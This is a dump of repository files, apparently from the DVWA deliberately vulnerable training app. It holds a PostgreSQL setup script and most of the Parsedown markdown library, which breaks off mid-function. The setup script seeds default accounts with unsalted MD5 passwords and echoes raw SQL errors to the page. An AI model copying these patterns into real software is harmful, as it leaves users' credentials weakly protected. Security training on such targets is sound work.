    "content": "<?php\r\n\r\n/*\r\n\r\nThis file contains all of the code to setup the initial PostgreSQL database. (setup.php)\r\n\r\n*/\r\n\r\n// Connect to server\r\nif( !@pg_connect(\"host={$_DVWA[ 'db_server' ]} port={$_DVWA[ 'db_port' ]} user={$_DVWA[ 'db_user' ]} password={$_DVWA[ 'db_password' ]}\") ) {\r\n\tdvwaMessagePush( \"Could not connect to the database.<br/>Please check the config file.\" );\r\n\tdvwaPageReload();\r\n}\r\n\r\n// Create database\r\n$drop_db = \"DROP DATABASE IF EXISTS {$_DVWA[ 'db_database' ]};\";\r\n\r\nif( !@pg_query($drop_db) ) {\r\n\tdvwaMessagePush( \"Could not drop existing database<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\n$create_db = \"CREATE DATABASE {$_DVWA[ 'db_database' ]};\";\r\n\r\nif( !@pg_query ( $create_db ) ) {\r\n\tdvwaMessagePush( \"Could not create database<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\ndvwaMessagePush( \"Database has been created.\" );\r\n\r\n\r\n// Connect to server AND connect to the database\r\n$dbconn = @pg_connect(\"host={$_DVWA[ 'db_server' ]} port={$_DVWA[ 'db_port' ]} dbname={$_DVWA[ 'db_database' ]} user={$_DVWA[ 'db_user' ]} password={$_DVWA[ 'db_password' ]}\");\r\n\r\n\r\n// Create table 'users'\r\n\r\n$drop_table = \"DROP TABLE IF EXISTS users;\";\r\n\r\nif( !pg_query($drop_table) ) {\r\n\tdvwaMessagePush( \"Could not drop existing users table<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\n$create_tb = \"CREATE TABLE users (user_id integer UNIQUE, first_name text, last_name text, username text, password text, avatar text, PRIMARY KEY (user_id));\";\r\n\r\nif( !pg_query( $create_tb ) ) {\r\n\tdvwaMessagePush( \"Table could not be created<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\ndvwaMessagePush( \"'users' table was created.\" );\r\n\r\n// Get the base directory for the avatar media...\r\n$baseUrl = 'http://'.$_SERVER[ 'SERVER_NAME' ].$_SERVER[ 'PHP_SELF' ];\r\n$stripPos = strpos( $baseUrl, 'dvwa/setup.php' );\r\n$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/';\r\n\r\n$insert = \"INSERT INTO users VALUES\r\n\t('1','admin','admin','admin',MD5('password'),'{$baseUrl}admin.jpg'),\r\n\t('2','Gordon','Brown','gordonb',MD5('abc123'),'{$baseUrl}gordonb.jpg'),\r\n\t('3','Hack','Me','1337',MD5('charley'),'{$baseUrl}1337.jpg'),\r\n\t('4','Pablo','Picasso','pablo',MD5('letmein'),'{$baseUrl}pablo.jpg'),\r\n\t('5','bob','smith','smithy',MD5('password'),'{$baseUrl}smithy.jpg');\";\r\nif( !pg_query( $insert ) ) {\r\n\tdvwaMessagePush( \"Data could not be inserted into 'users' table<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\ndvwaMessagePush( \"Data inserted into 'users' table.\" );\r\n\r\n// Create guestbook table\r\n\r\n$drop_table = \"DROP table IF EXISTS guestbook;\";\r\n\r\nif( !@pg_query($drop_table) ) {\r\n\tdvwaMessagePush( \"Could not drop existing users table<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\n$create_tb_guestbook = \"CREATE TABLE guestbook (comment text, name text, comment_id SERIAL PRIMARY KEY);\";\r\n\r\nif( !pg_query( $create_tb_guestbook ) ) {\r\n\tdvwaMessagePush( \"guestbook table could not be created<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\n\r\ndvwaMessagePush( \"'guestbook' table was created.\" );\r\n\r\n// Insert data into 'guestbook'\r\n$insert = \"INSERT INTO guestbook (comment, name) VALUES('This is a test comment.','admin')\";\r\n\r\nif( !pg_query( $insert ) ) {\r\n\tdvwaMessagePush( \"Data could not be inserted into 'guestbook' table<br />SQL: \" . pg_last_error() );\r\n\tdvwaPageReload();\r\n}\r\ndvwaMessagePush( \"Data inserted into 'guestbook' table.\" );\r\n\r\ndvwaMessagePush( \"Setup successful!\" );\r\ndvwaPageReload();\r\n\r\npg_close($dbconn);\r\n\r\n?>\r\n"
  },
  {
    "path": "dvwa/includes/Parsedown.php",
    "content": "<?php\n\n#\n#\n# Parsedown\n# http://parsedown.org\n#\n# (c) Emanuil Rusev\n# http://erusev.com\n#\n# For the full license information, view the LICENSE file that was distributed\n# with this source code.\n#\n#\n\nclass Parsedown\n{\n    # ~\n\n    const version = '1.8.0-beta-7';\n\n    # ~\n\n    function text($text)\n    {\n        $Elements = $this->textElements($text);\n\n        # convert to markup\n        $markup = $this->elements($Elements);\n\n        # trim line breaks\n        $markup = trim($markup, \"\\n\");\n\n        return $markup;\n    }\n\n    protected function textElements($text)\n    {\n        # make sure no definitions are set\n        $this->DefinitionData = array();\n\n        # standardize line breaks\n        $text = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $text);\n\n        # remove surrounding line breaks\n        $text = trim($text, \"\\n\");\n\n        # split text into lines\n        $lines = explode(\"\\n\", $text);\n\n        # iterate through lines to identify blocks\n        return $this->linesElements($lines);\n    }\n\n    #\n    # Setters\n    #\n\n    function setBreaksEnabled($breaksEnabled)\n    {\n        $this->breaksEnabled = $breaksEnabled;\n\n        return $this;\n    }\n\n    protected $breaksEnabled;\n\n    function setMarkupEscaped($markupEscaped)\n    {\n        $this->markupEscaped = $markupEscaped;\n\n        return $this;\n    }\n\n    protected $markupEscaped;\n\n    function setUrlsLinked($urlsLinked)\n    {\n        $this->urlsLinked = $urlsLinked;\n\n        return $this;\n    }\n\n    protected $urlsLinked = true;\n\n    function setSafeMode($safeMode)\n    {\n        $this->safeMode = (bool) $safeMode;\n\n        return $this;\n    }\n\n    protected $safeMode;\n\n    function setStrictMode($strictMode)\n    {\n        $this->strictMode = (bool) $strictMode;\n\n        return $this;\n    }\n\n    protected $strictMode;\n\n    protected $safeLinksWhitelist = array(\n        'http://',\n        'https://',\n        'ftp://',\n        'ftps://',\n        'mailto:',\n        'tel:',\n        'data:image/png;base64,',\n        'data:image/gif;base64,',\n        'data:image/jpeg;base64,',\n        'irc:',\n        'ircs:',\n        'git:',\n        'ssh:',\n        'news:',\n        'steam:',\n    );\n\n    #\n    # Lines\n    #\n\n    protected $BlockTypes = array(\n        '#' => array('Header'),\n        '*' => array('Rule', 'List'),\n        '+' => array('List'),\n        '-' => array('SetextHeader', 'Table', 'Rule', 'List'),\n        '0' => array('List'),\n        '1' => array('List'),\n        '2' => array('List'),\n        '3' => array('List'),\n        '4' => array('List'),\n        '5' => array('List'),\n        '6' => array('List'),\n        '7' => array('List'),\n        '8' => array('List'),\n        '9' => array('List'),\n        ':' => array('Table'),\n        '<' => array('Comment', 'Markup'),\n        '=' => array('SetextHeader'),\n        '>' => array('Quote'),\n        '[' => array('Reference'),\n        '_' => array('Rule'),\n        '`' => array('FencedCode'),\n        '|' => array('Table'),\n        '~' => array('FencedCode'),\n    );\n\n    # ~\n\n    protected $unmarkedBlockTypes = array(\n        'Code',\n    );\n\n    #\n    # Blocks\n    #\n\n    protected function lines(array $lines)\n    {\n        return $this->elements($this->linesElements($lines));\n    }\n\n    protected function linesElements(array $lines)\n    {\n        $Elements = array();\n        $CurrentBlock = null;\n\n        foreach ($lines as $line)\n        {\n            if (chop($line) === '')\n            {\n                if (isset($CurrentBlock))\n                {\n                    $CurrentBlock['interrupted'] = (isset($CurrentBlock['interrupted'])\n                        ? $CurrentBlock['interrupted'] + 1 : 1\n                    );\n                }\n\n                continue;\n            }\n\n            while (($beforeTab = strstr($line, \"\\t\", true)) !== false)\n            {\n                $shortage = 4 - mb_strlen($beforeTab, 'utf-8') % 4;\n\n                $line = $beforeTab\n                    . str_repeat(' ', $shortage)\n                    . substr($line, strlen($beforeTab) + 1)\n                ;\n            }\n\n            $indent = strspn($line, ' ');\n\n            $text = $indent > 0 ? substr($line, $indent) : $line;\n\n            # ~\n\n            $Line = array('body' => $line, 'indent' => $indent, 'text' => $text);\n\n            # ~\n\n            if (isset($CurrentBlock['continuable']))\n            {\n                $methodName = 'block' . $CurrentBlock['type'] . 'Continue';\n                $Block = $this->$methodName($Line, $CurrentBlock);\n\n                if (isset($Block))\n                {\n                    $CurrentBlock = $Block;\n\n                    continue;\n                }\n                else\n                {\n                    if ($this->isBlockCompletable($CurrentBlock['type']))\n                    {\n                        $methodName = 'block' . $CurrentBlock['type'] . 'Complete';\n                        $CurrentBlock = $this->$methodName($CurrentBlock);\n                    }\n                }\n            }\n\n            # ~\n\n            $marker = $text[0];\n\n            # ~\n\n            $blockTypes = $this->unmarkedBlockTypes;\n\n            if (isset($this->BlockTypes[$marker]))\n            {\n                foreach ($this->BlockTypes[$marker] as $blockType)\n                {\n                    $blockTypes []= $blockType;\n                }\n            }\n\n            #\n            # ~\n\n            foreach ($blockTypes as $blockType)\n            {\n                $Block = $this->{\"block$blockType\"}($Line, $CurrentBlock);\n\n                if (isset($Block))\n                {\n                    $Block['type'] = $blockType;\n\n                    if ( ! isset($Block['identified']))\n                    {\n                        if (isset($CurrentBlock))\n                        {\n                            $Elements[] = $this->extractElement($CurrentBlock);\n                        }\n\n                        $Block['identified'] = true;\n                    }\n\n                    if ($this->isBlockContinuable($blockType))\n                    {\n                        $Block['continuable'] = true;\n                    }\n\n                    $CurrentBlock = $Block;\n\n                    continue 2;\n                }\n            }\n\n            # ~\n\n            if (isset($CurrentBlock) and $CurrentBlock['type'] === 'Paragraph')\n            {\n                $Block = $this->paragraphContinue($Line, $CurrentBlock);\n            }\n\n            if (isset($Block))\n            {\n                $CurrentBlock = $Block;\n            }\n            else\n            {\n                if (isset($CurrentBlock))\n                {\n                    $Elements[] = $this->extractElement($CurrentBlock);\n                }\n\n                $CurrentBlock = $this->paragraph($Line);\n\n                $CurrentBlock['identified'] = true;\n            }\n        }\n\n        # ~\n\n        if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type']))\n        {\n            $methodName = 'block' . $CurrentBlock['type'] . 'Complete';\n            $CurrentBlock = $this->$methodName($CurrentBlock);\n        }\n\n        # ~\n\n        if (isset($CurrentBlock))\n        {\n            $Elements[] = $this->extractElement($CurrentBlock);\n        }\n\n        # ~\n\n        return $Elements;\n    }\n\n    protected function extractElement(array $Component)\n    {\n        if ( ! isset($Component['element']))\n        {\n            if (isset($Component['markup']))\n            {\n                $Component['element'] = array('rawHtml' => $Component['markup']);\n            }\n            elseif (isset($Component['hidden']))\n            {\n                $Component['element'] = array();\n            }\n        }\n\n        return $Component['element'];\n    }\n\n    protected function isBlockContinuable($Type)\n    {\n        return method_exists($this, 'block' . $Type . 'Continue');\n    }\n\n    protected function isBlockCompletable($Type)\n    {\n        return method_exists($this, 'block' . $Type . 'Complete');\n    }\n\n    #\n    # Code\n\n    protected function blockCode($Line, $Block = null)\n    {\n        if (isset($Block) and $Block['type'] === 'Paragraph' and ! isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        if ($Line['indent'] >= 4)\n        {\n            $text = substr($Line['body'], 4);\n\n            $Block = array(\n                'element' => array(\n                    'name' => 'pre',\n                    'element' => array(\n                        'name' => 'code',\n                        'text' => $text,\n                    ),\n                ),\n            );\n\n            return $Block;\n        }\n    }\n\n    protected function blockCodeContinue($Line, $Block)\n    {\n        if ($Line['indent'] >= 4)\n        {\n            if (isset($Block['interrupted']))\n            {\n                $Block['element']['element']['text'] .= str_repeat(\"\\n\", $Block['interrupted']);\n\n                unset($Block['interrupted']);\n            }\n\n            $Block['element']['element']['text'] .= \"\\n\";\n\n            $text = substr($Line['body'], 4);\n\n            $Block['element']['element']['text'] .= $text;\n\n            return $Block;\n        }\n    }\n\n    protected function blockCodeComplete($Block)\n    {\n        return $Block;\n    }\n\n    #\n    # Comment\n\n    protected function blockComment($Line)\n    {\n        if ($this->markupEscaped or $this->safeMode)\n        {\n            return;\n        }\n\n        if (strpos($Line['text'], '<!--') === 0)\n        {\n            $Block = array(\n                'element' => array(\n                    'rawHtml' => $Line['body'],\n                    'autobreak' => true,\n                ),\n            );\n\n            if (strpos($Line['text'], '-->') !== false)\n            {\n                $Block['closed'] = true;\n            }\n\n            return $Block;\n        }\n    }\n\n    protected function blockCommentContinue($Line, array $Block)\n    {\n        if (isset($Block['closed']))\n        {\n            return;\n        }\n\n        $Block['element']['rawHtml'] .= \"\\n\" . $Line['body'];\n\n        if (strpos($Line['text'], '-->') !== false)\n        {\n            $Block['closed'] = true;\n        }\n\n        return $Block;\n    }\n\n    #\n    # Fenced Code\n\n    protected function blockFencedCode($Line)\n    {\n        $marker = $Line['text'][0];\n\n        $openerLength = strspn($Line['text'], $marker);\n\n        if ($openerLength < 3)\n        {\n            return;\n        }\n\n        $infostring = trim(substr($Line['text'], $openerLength), \"\\t \");\n\n        if (strpos($infostring, '`') !== false)\n        {\n            return;\n        }\n\n        $Element = array(\n            'name' => 'code',\n            'text' => '',\n        );\n\n        if ($infostring !== '')\n        {\n            /**\n             * https://www.w3.org/TR/2011/WD-html5-20110525/elements.html#classes\n             * Every HTML element may have a class attribute specified.\n             * The attribute, if specified, must have a value that is a set\n             * of space-separated tokens representing the various classes\n             * that the element belongs to.\n             * [...]\n             * The space characters, for the purposes of this specification,\n             * are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab),\n             * U+000A LINE FEED (LF), U+000C FORM FEED (FF), and\n             * U+000D CARRIAGE RETURN (CR).\n             */\n            $language = substr($infostring, 0, strcspn($infostring, \" \\t\\n\\f\\r\"));\n\n            $Element['attributes'] = array('class' => \"language-$language\");\n        }\n\n        $Block = array(\n            'char' => $marker,\n            'openerLength' => $openerLength,\n            'element' => array(\n                'name' => 'pre',\n                'element' => $Element,\n            ),\n        );\n\n        return $Block;\n    }\n\n    protected function blockFencedCodeContinue($Line, $Block)\n    {\n        if (isset($Block['complete']))\n        {\n            return;\n        }\n\n        if (isset($Block['interrupted']))\n        {\n            $Block['element']['element']['text'] .= str_repeat(\"\\n\", $Block['interrupted']);\n\n            unset($Block['interrupted']);\n        }\n\n        if (($len = strspn($Line['text'], $Block['char'])) >= $Block['openerLength']\n            and chop(substr($Line['text'], $len), ' ') === ''\n        ) {\n            $Block['element']['element']['text'] = substr($Block['element']['element']['text'], 1);\n\n            $Block['complete'] = true;\n\n            return $Block;\n        }\n\n        $Block['element']['element']['text'] .= \"\\n\" . $Line['body'];\n\n        return $Block;\n    }\n\n    protected function blockFencedCodeComplete($Block)\n    {\n        return $Block;\n    }\n\n    #\n    # Header\n\n    protected function blockHeader($Line)\n    {\n        $level = strspn($Line['text'], '#');\n\n        if ($level > 6)\n        {\n            return;\n        }\n\n        $text = trim($Line['text'], '#');\n\n        if ($this->strictMode and isset($text[0]) and $text[0] !== ' ')\n        {\n            return;\n        }\n\n        $text = trim($text, ' ');\n\n        $Block = array(\n            'element' => array(\n                'name' => 'h' . $level,\n                'handler' => array(\n                    'function' => 'lineElements',\n                    'argument' => $text,\n                    'destination' => 'elements',\n                )\n            ),\n        );\n\n        return $Block;\n    }\n\n    #\n    # List\n\n    protected function blockList($Line, array $CurrentBlock = null)\n    {\n        list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]{1,9}+[.\\)]');\n\n        if (preg_match('/^('.$pattern.'([ ]++|$))(.*+)/', $Line['text'], $matches))\n        {\n            $contentIndent = strlen($matches[2]);\n\n            if ($contentIndent >= 5)\n            {\n                $contentIndent -= 1;\n                $matches[1] = substr($matches[1], 0, -$contentIndent);\n                $matches[3] = str_repeat(' ', $contentIndent) . $matches[3];\n            }\n            elseif ($contentIndent === 0)\n            {\n                $matches[1] .= ' ';\n            }\n\n            $markerWithoutWhitespace = strstr($matches[1], ' ', true);\n\n            $Block = array(\n                'indent' => $Line['indent'],\n                'pattern' => $pattern,\n                'data' => array(\n                    'type' => $name,\n                    'marker' => $matches[1],\n                    'markerType' => ($name === 'ul' ? $markerWithoutWhitespace : substr($markerWithoutWhitespace, -1)),\n                ),\n                'element' => array(\n                    'name' => $name,\n                    'elements' => array(),\n                ),\n            );\n            $Block['data']['markerTypeRegex'] = preg_quote($Block['data']['markerType'], '/');\n\n            if ($name === 'ol')\n            {\n                $listStart = ltrim(strstr($matches[1], $Block['data']['markerType'], true), '0') ?: '0';\n\n                if ($listStart !== '1')\n                {\n                    if (\n                        isset($CurrentBlock)\n                        and $CurrentBlock['type'] === 'Paragraph'\n                        and ! isset($CurrentBlock['interrupted'])\n                    ) {\n                        return;\n                    }\n\n                    $Block['element']['attributes'] = array('start' => $listStart);\n                }\n            }\n\n            $Block['li'] = array(\n                'name' => 'li',\n                'handler' => array(\n                    'function' => 'li',\n                    'argument' => !empty($matches[3]) ? array($matches[3]) : array(),\n                    'destination' => 'elements'\n                )\n            );\n\n            $Block['element']['elements'] []= & $Block['li'];\n\n            return $Block;\n        }\n    }\n\n    protected function blockListContinue($Line, array $Block)\n    {\n        if (isset($Block['interrupted']) and empty($Block['li']['handler']['argument']))\n        {\n            return null;\n        }\n\n        $requiredIndent = ($Block['indent'] + strlen($Block['data']['marker']));\n\n        if ($Line['indent'] < $requiredIndent\n            and (\n                (\n                    $Block['data']['type'] === 'ol'\n                    and preg_match('/^[0-9]++'.$Block['data']['markerTypeRegex'].'(?:[ ]++(.*)|$)/', $Line['text'], $matches)\n                ) or (\n                    $Block['data']['type'] === 'ul'\n                    and preg_match('/^'.$Block['data']['markerTypeRegex'].'(?:[ ]++(.*)|$)/', $Line['text'], $matches)\n                )\n            )\n        ) {\n            if (isset($Block['interrupted']))\n            {\n                $Block['li']['handler']['argument'] []= '';\n\n                $Block['loose'] = true;\n\n                unset($Block['interrupted']);\n            }\n\n            unset($Block['li']);\n\n            $text = isset($matches[1]) ? $matches[1] : '';\n\n            $Block['indent'] = $Line['indent'];\n\n            $Block['li'] = array(\n                'name' => 'li',\n                'handler' => array(\n                    'function' => 'li',\n                    'argument' => array($text),\n                    'destination' => 'elements'\n                )\n            );\n\n            $Block['element']['elements'] []= & $Block['li'];\n\n            return $Block;\n        }\n        elseif ($Line['indent'] < $requiredIndent and $this->blockList($Line))\n        {\n            return null;\n        }\n\n        if ($Line['text'][0] === '[' and $this->blockReference($Line))\n        {\n            return $Block;\n        }\n\n        if ($Line['indent'] >= $requiredIndent)\n        {\n            if (isset($Block['interrupted']))\n            {\n                $Block['li']['handler']['argument'] []= '';\n\n                $Block['loose'] = true;\n\n                unset($Block['interrupted']);\n            }\n\n            $text = substr($Line['body'], $requiredIndent);\n\n            $Block['li']['handler']['argument'] []= $text;\n\n            return $Block;\n        }\n\n        if ( ! isset($Block['interrupted']))\n        {\n            $text = preg_replace('/^[ ]{0,'.$requiredIndent.'}+/', '', $Line['body']);\n\n            $Block['li']['handler']['argument'] []= $text;\n\n            return $Block;\n        }\n    }\n\n    protected function blockListComplete(array $Block)\n    {\n        if (isset($Block['loose']))\n        {\n            foreach ($Block['element']['elements'] as &$li)\n            {\n                if (end($li['handler']['argument']) !== '')\n                {\n                    $li['handler']['argument'] []= '';\n                }\n            }\n        }\n\n        return $Block;\n    }\n\n    #\n    # Quote\n\n    protected function blockQuote($Line)\n    {\n        if (preg_match('/^>[ ]?+(.*+)/', $Line['text'], $matches))\n        {\n            $Block = array(\n                'element' => array(\n                    'name' => 'blockquote',\n                    'handler' => array(\n                        'function' => 'linesElements',\n                        'argument' => (array) $matches[1],\n                        'destination' => 'elements',\n                    )\n                ),\n            );\n\n            return $Block;\n        }\n    }\n\n    protected function blockQuoteContinue($Line, array $Block)\n    {\n        if (isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        if ($Line['text'][0] === '>' and preg_match('/^>[ ]?+(.*+)/', $Line['text'], $matches))\n        {\n            $Block['element']['handler']['argument'] []= $matches[1];\n\n            return $Block;\n        }\n\n        if ( ! isset($Block['interrupted']))\n        {\n            $Block['element']['handler']['argument'] []= $Line['text'];\n\n            return $Block;\n        }\n    }\n\n    #\n    # Rule\n\n    protected function blockRule($Line)\n    {\n        $marker = $Line['text'][0];\n\n        if (substr_count($Line['text'], $marker) >= 3 and chop($Line['text'], \" $marker\") === '')\n        {\n            $Block = array(\n                'element' => array(\n                    'name' => 'hr',\n                ),\n            );\n\n            return $Block;\n        }\n    }\n\n    #\n    # Setext\n\n    protected function blockSetextHeader($Line, array $Block = null)\n    {\n        if ( ! isset($Block) or $Block['type'] !== 'Paragraph' or isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        if ($Line['indent'] < 4 and chop(chop($Line['text'], ' '), $Line['text'][0]) === '')\n        {\n            $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2';\n\n            return $Block;\n        }\n    }\n\n    #\n    # Markup\n\n    protected function blockMarkup($Line)\n    {\n        if ($this->markupEscaped or $this->safeMode)\n        {\n            return;\n        }\n\n        if (preg_match('/^<[\\/]?+(\\w*)(?:[ ]*+'.$this->regexHtmlAttribute.')*+[ ]*+(\\/)?>/', $Line['text'], $matches))\n        {\n            $element = strtolower($matches[1]);\n\n            if (in_array($element, $this->textLevelElements))\n            {\n                return;\n            }\n\n            $Block = array(\n                'name' => $matches[1],\n                'element' => array(\n                    'rawHtml' => $Line['text'],\n                    'autobreak' => true,\n                ),\n            );\n\n            return $Block;\n        }\n    }\n\n    protected function blockMarkupContinue($Line, array $Block)\n    {\n        if (isset($Block['closed']) or isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        $Block['element']['rawHtml'] .= \"\\n\" . $Line['body'];\n\n        return $Block;\n    }\n\n    #\n    # Reference\n\n    protected function blockReference($Line)\n    {\n        if (strpos($Line['text'], ']') !== false\n            and preg_match('/^\\[(.+?)\\]:[ ]*+<?(\\S+?)>?(?:[ ]+[\"\\'(](.+)[\"\\')])?[ ]*+$/', $Line['text'], $matches)\n        ) {\n            $id = strtolower($matches[1]);\n\n            $Data = array(\n                'url' => $matches[2],\n                'title' => isset($matches[3]) ? $matches[3] : null,\n            );\n\n            $this->DefinitionData['Reference'][$id] = $Data;\n\n            $Block = array(\n                'element' => array(),\n            );\n\n            return $Block;\n        }\n    }\n\n    #\n    # Table\n\n    protected function blockTable($Line, array $Block = null)\n    {\n        if ( ! isset($Block) or $Block['type'] !== 'Paragraph' or isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        if (\n            strpos($Block['element']['handler']['argument'], '|') === false\n            and strpos($Line['text'], '|') === false\n            and strpos($Line['text'], ':') === false\n            or strpos($Block['element']['handler']['argument'], \"\\n\") !== false\n        ) {\n            return;\n        }\n\n        if (chop($Line['text'], ' -:|') !== '')\n        {\n            return;\n        }\n\n        $alignments = array();\n\n        $divider = $Line['text'];\n\n        $divider = trim($divider);\n        $divider = trim($divider, '|');\n\n        $dividerCells = explode('|', $divider);\n\n        foreach ($dividerCells as $dividerCell)\n        {\n            $dividerCell = trim($dividerCell);\n\n            if ($dividerCell === '')\n            {\n                return;\n            }\n\n            $alignment = null;\n\n            if ($dividerCell[0] === ':')\n            {\n                $alignment = 'left';\n            }\n\n            if (substr($dividerCell, - 1) === ':')\n            {\n                $alignment = $alignment === 'left' ? 'center' : 'right';\n            }\n\n            $alignments []= $alignment;\n        }\n\n        # ~\n\n        $HeaderElements = array();\n\n        $header = $Block['element']['handler']['argument'];\n\n        $header = trim($header);\n        $header = trim($header, '|');\n\n        $headerCells = explode('|', $header);\n\n        if (count($headerCells) !== count($alignments))\n        {\n            return;\n        }\n\n        foreach ($headerCells as $index => $headerCell)\n        {\n            $headerCell = trim($headerCell);\n\n            $HeaderElement = array(\n                'name' => 'th',\n                'handler' => array(\n                    'function' => 'lineElements',\n                    'argument' => $headerCell,\n                    'destination' => 'elements',\n                )\n            );\n\n            if (isset($alignments[$index]))\n            {\n                $alignment = $alignments[$index];\n\n                $HeaderElement['attributes'] = array(\n                    'style' => \"text-align: $alignment;\",\n                );\n            }\n\n            $HeaderElements []= $HeaderElement;\n        }\n\n        # ~\n\n        $Block = array(\n            'alignments' => $alignments,\n            'identified' => true,\n            'element' => array(\n                'name' => 'table',\n                'elements' => array(),\n            ),\n        );\n\n        $Block['element']['elements'] []= array(\n            'name' => 'thead',\n        );\n\n        $Block['element']['elements'] []= array(\n            'name' => 'tbody',\n            'elements' => array(),\n        );\n\n        $Block['element']['elements'][0]['elements'] []= array(\n            'name' => 'tr',\n            'elements' => $HeaderElements,\n        );\n\n        return $Block;\n    }\n\n    protected function blockTableContinue($Line, array $Block)\n    {\n        if (isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        if (count($Block['alignments']) === 1 or $Line['text'][0] === '|' or strpos($Line['text'], '|'))\n        {\n            $Elements = array();\n\n            $row = $Line['text'];\n\n            $row = trim($row);\n            $row = trim($row, '|');\n\n            preg_match_all('/(?:(\\\\\\\\[|])|[^|`]|`[^`]++`|`)++/', $row, $matches);\n\n            $cells = array_slice($matches[0], 0, count($Block['alignments']));\n\n            foreach ($cells as $index => $cell)\n            {\n                $cell = trim($cell);\n\n                $Element = array(\n                    'name' => 'td',\n                    'handler' => array(\n                        'function' => 'lineElements',\n                        'argument' => $cell,\n                        'destination' => 'elements',\n                    )\n                );\n\n                if (isset($Block['alignments'][$index]))\n                {\n                    $Element['attributes'] = array(\n                        'style' => 'text-align: ' . $Block['alignments'][$index] . ';',\n                    );\n                }\n\n                $Elements []= $Element;\n            }\n\n            $Element = array(\n                'name' => 'tr',\n                'elements' => $Elements,\n            );\n\n            $Block['element']['elements'][1]['elements'] []= $Element;\n\n            return $Block;\n        }\n    }\n\n    #\n    # ~\n    #\n\n    protected function paragraph($Line)\n    {\n        return array(\n            'type' => 'Paragraph',\n            'element' => array(\n                'name' => 'p',\n                'handler' => array(\n                    'function' => 'lineElements',\n                    'argument' => $Line['text'],\n                    'destination' => 'elements',\n                ),\n            ),\n        );\n    }\n\n    protected function paragraphContinue($Line, array $Block)\n    {\n        if (isset($Block['interrupted']))\n        {\n            return;\n        }\n\n        $Block['element']['handler']['argument'] .= \"\\n\".$Line['text'];\n\n        return $Block;\n    }\n\n    #\n    # Inline Elements\n    #\n\n    protected $InlineTypes = array(\n        '!' => array('Image'),\n        '&' => array('SpecialCharacter'),\n        '*' => array('Emphasis'),\n        ':' => array('Url'),\n        '<' => array('UrlTag', 'EmailTag', 'Markup'),\n        '[' => array('Link'),\n        '_' => array('Emphasis'),\n        '`' => array('Code'),\n        '~' => array('Strikethrough'),\n        '\\\\' => array('EscapeSequence'),\n    );\n\n    # ~\n\n    protected $inlineMarkerList = '!*_&[:<`~\\\\';\n\n    #\n    # ~\n    #\n\n    public function line($text, $nonNestables = array())\n    {\n        return $this->elements($this->lineElements($text, $nonNestables));\n    }\n\n    protected function lineElements($text, $nonNestables = array())\n    {\n        # standardize line breaks\n        $text = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $text);\n\n        $Elements = array();\n\n        $nonNestables = (empty($nonNestables)\n            ? array()\n            : array_combine($nonNestables, $nonNestables)\n        );\n\n        # $excerpt is based on the first occurrence of a marker\n\n        while ($excerpt = strpbrk($text, $this->inlineMarkerList))\n        {\n            $marker = $excerpt[0];\n\n            $markerPosition = strlen($text) - strlen($excerpt);\n\n            $Excerpt = array('text' => $excerpt, 'context' => $text);\n\n            foreach ($this->InlineTypes[$marker] as $inlineType)\n            {\n                # check to see if the current inline type is nestable in the current context\n\n                if (isset($nonNestables[$inlineType]))\n                {\n                    continue;\n                }\n\n                $Inline = $this->{\"inline$inlineType\"}($Excerpt);\n\n                if ( ! isset($Inline))\n                {\n                    continue;\n                }\n\n                # makes sure that the inline belongs to \"our\" marker\n\n                if (isset($Inline['position']) and $Inline['position'] > $markerPosition)\n                {\n                    continue;\n                }\n\n                # sets a default inline position\n\n                if ( ! isset($Inline['position']))\n                {\n                    $Inline['position'] = $markerPosition;\n                }\n\n                # cause the new element to 'inherit' our non nestables\n\n\n                $Inline['element']['nonNestables'] = isset($Inline['element']['nonNestables'])\n                    ? array_merge($Inline['element']['nonNestables'], $nonNestables)\n                    : $nonNestables\n                ;\n\n                # the text that comes before the inline\n                $unmarkedText = substr($text, 0, $Inline['position']);\n\n                # compile the unmarked text\n                $InlineText = $this->inlineText($unmarkedText);\n                $Elements[] = $InlineText['element'];\n\n                # compile the inline\n                $Elements[] = $this->extractElement($Inline);\n\n                # remove the examined text\n                $text = substr($text, $Inline['position'] + $Inline['extent']);\n\n                continue 2;\n            }\n\n            # the marker does not belong to an inline\n\n            $unmarkedText = substr($text, 0, $markerPosition + 1);\n\n            $InlineText = $this->inlineText($unmarkedText);\n            $Elements[] = $InlineText['element'];\n\n            $text = substr($text, $markerPosition + 1);\n        }\n\n        $InlineText = $this->inlineText($text);\n        $Elements[] = $InlineText['element'];\n\n        foreach ($Elements as &$Element)\n        {\n            if ( ! isset($Element['autobreak']))\n            {\n                $Element['autobreak'] = false;\n            }\n        }\n\n        return $Elements;\n    }\n\n    #\n    # ~\n    #\n\n    protected function inlineText($text)\n    {\n        $Inline = array(\n            'extent' => strlen($text),\n            'element' => array(),\n        );\n\n        $Inline['element']['elements'] = self::pregReplaceElements(\n            $this->breaksEnabled ? '/[ ]*+\\n/' : '/(?:[ ]*+\\\\\\\\|[ ]{2,}+)\\n/',\n            array(\n                array('name' => 'br'),\n                array('text' => \"\\n\"),\n            ),\n            $text\n        );\n\n        return $Inline;\n    }\n\n    protected function inlineCode($Excerpt)\n    {\n        $marker = $Excerpt['text'][0];\n\n        if (preg_match('/^(['.$marker.']++)[ ]*+(.+?)[ ]*+(?<!['.$marker.'])\\1(?!'.$marker.')/s', $Excerpt['text'], $matches))\n        {\n            $text = 